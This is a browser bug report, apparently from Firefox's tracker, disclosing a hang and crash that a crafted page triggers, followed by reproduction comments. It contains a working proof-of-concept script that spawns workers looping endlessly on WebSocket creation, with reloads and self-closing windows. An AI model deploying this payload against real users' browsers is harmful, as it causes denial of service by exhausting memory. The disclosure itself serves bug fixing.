Steps to reproduce:

Hi , 

Steps to Reproduce:
* Open Firefox on any OS / Android platform.
* Visit http://hackies.in/sock.html

However, it also uses a lot of memory from the system. 
Once the browser gets closed gives a message :

The Exception Break Point is been reached 
(0x80000003) occurred in the application at location 0x6cfbec79 

Seems like to be crashed but didn't got any crash ID on about:crashes


Actual results:

Other Browser:
Chrome : https://bugs.chromium.org/p/chromium/issues/detail?id=676659
Edge : OK
Safari : OK 
IE : OK 


Expected results:

Please find the attached Screen Shot and (sock.html) file for reference.

Thank you

HTML contains:

new SharedWorker(URL.createObjectURL(new Blob(["onconnect=function(e) {while(true) {var ws=new WebSocket('ws://localhost:9997/echo');e.ports[0].postMessage('hello');}}"],{ "type" : "text/javascript" }))).port.onmessage=function(ev2) {
  location.reload();
}

new Worker(URL.createObjectURL(new Blob(["while (true) {new WebSocket('ws://localhost:9998/echo');self.postMessage('hello');}"],{ "type" : "text/javascript" }))).onmessage=function(ev) {
  location.reload();
}

setInterval("window.open('','_self','');window.close();",5000);

I managed to reproduce it on Firefox and also on Internet Explorer, in all cases the browser hangs up.

On edge, I didn't manage to reproduce this, I believe, because of the error "SharedWorker" is undefined. If I commented the lines |new SharedWorker...| but left |new Worker...| only, this issue appears on Edge.

Can you try this on beta or dev edition?  Bug 1300658 may have helped here, but is only shipped in FF51.
